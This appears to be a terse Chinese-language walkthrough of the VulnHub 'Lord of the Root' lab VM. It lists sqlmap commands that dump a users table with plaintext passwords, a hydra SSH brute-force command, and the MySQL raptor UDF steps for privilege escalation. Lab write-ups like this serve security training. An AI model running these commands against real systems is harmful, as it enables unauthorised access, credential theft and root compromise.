靶机链接：https://www.vulnhub.com/entry/lord-of-the-root-101,129/
环境配置
| 名称 | IP |
|---|
| Kali Linux | 192.168.88.153 |
| LORD OF THE ROOT: 1.0.1 | 192.168.88.155 |
1
| <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
|
1
2
3
4
| $ sqlmap -u "http://192.168.88.155:1337/978345210/index.php" --forms
$ sqlmap -u "http://192.168.88.155:1337/978345210/index.php" --forms --dbs
$ sqlmap -u "http://192.168.88.155:1337/978345210/index.php" --forms --tables -D Webapp
$ sqlmap -u "http://192.168.88.155:1337/978345210/index.php" --forms --dump -T Users -D Webapp
|
| id | username | password |
|---|
| 1 | frodo | iwilltakethering |
| 2 | smeagol | MyPreciousR00t |
| 3 | aragorn | AndMySword |
| 4 | legolas | AndMyBow |
| 5 | gimli | AndMyAxe |
$ hydra -L user -P pass 192.168.88.155 ssh
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
1
2
3
4
5
6
| mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
|
最后修改于 2015-09-23